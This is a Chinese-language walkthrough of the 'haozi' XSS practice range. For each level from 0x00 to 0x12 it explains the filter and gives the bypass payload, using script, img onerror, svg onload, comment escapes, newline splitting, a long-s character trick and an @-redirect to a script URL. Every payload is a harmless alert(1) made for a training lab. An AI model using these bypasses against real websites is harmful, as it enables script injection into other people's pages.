haozi是XSS的线上靶场的一种
需要将aler(1)绕过限制,网址如下
0x00
第一关没有过滤,直接输入<script>alert(1)</script>即可
0x01
这里出现了<textarea>标签,因为<textarea>标签无法执行js代码,所以我们需要将<textarea>标签闭合跳过就行,输入</textarea><script>alert(1)</script><textarea>
0x02
这里出现了input标签,也是需要先闭合标签,在进行输入,我们可以直接闭合引号来达到闭合标签的目的,"><script>alert(1)</script>
0x03
这一关对括号进行了限制,这时我们就可以考虑使用反引号代替括号执行,<script>alert`1`</script>
0x04
这一关将括号和反引号都进行了过滤,所以不能用反引号代替括号进行绕过,我们可以考虑使用img标签来利用html的实体编码进行绕过<img src=1 οnerrοr=alert(1)>
0x05
这一关用 '<!-- ' + input + ' -->'进行了注释,原本想用-->来跳出注释,可是题目过滤掉了-->,所以我们可以使用--!> 来跳过注释--!><script>alert(1)</script><!--
0x06
这里将auto|on.*=|>过滤成_,所以我们需要使用换行来将字母与等号分开来进行绕过
type="image" src=1 onerror
=alert(1)
0x07
这道题我们可以使用单标签进行,所以选择了img标签,由于这一关过滤了 >,但img标签恰恰可以进行自动纠错,所以说我们可以写成<img src=1 οnerrοr="alert(1)"
0x08
这里过滤了</style>标签无法闭合,我们可以使用换行的方法进行绕过,
</style
><img src=1 οnerrοr=alert(1)>
0x09
此题的要求是必须以https://www.segmentfault.com 为开头,否则直接不能输入,那我们先输入https://www.segmentfault.com 然后再用script标签进行闭合,最后用// 注释后面的内容
0x0A
这道题将各种符号都进行了过滤,只要输入就会被转为实体编码,我们可以利用URL重定向的方式将自己的重定向到@ 后面的网站http://www.segmentfault.com@127.0.0.1/test.js
0x0B
这道题将所有字母自动转成大写字母,我们可以使用html实体编码进行绕过
<img src=1 οnerrοr=alert(1)>
输入
<img src=1 οnerrοr=alert(1)>
0x0C
与上题同理,我们可以使用可以使用<svg/οnlοad=实体编码>进行绕过
<svg/οnlοad=alert(1)>
0x0D
这道题过滤了</"',并且将输入的内容注释掉了,我们需要换行逃脱注释,然后换行再将后面的符号注释掉。
0x0E
这道题过滤了<>里面所有的字母,将小写字母转化为大写,我们可以使用一个特殊符号 ſ 字符,大写会自动转成S,实现绕过
<ſvg/οnlοad=alert(1)>
<ſvg/οnlοad=alert(1)>
0x0F
这道题将"'<>/\都进行了过滤,所以可以先将src标签闭合,再将多余符号注释
');alert(1)//
0x10
window.data就是一个全局变量,直接写alert相当于将alert传输到window.data
0x11
这道题转移符号很多,我们可以直接选择直接闭合,输入
");alert(1)//
0x12
这道题是将双引号替换成了\\ ,我们需要加上\ 进行转义
\");alert(1)//
到此我们的haozi线上靶场就全部通关完毕了!!!